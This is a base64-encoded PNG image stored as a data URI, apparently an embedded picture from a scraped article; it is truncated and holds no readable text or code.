aaarticlea/png;base64,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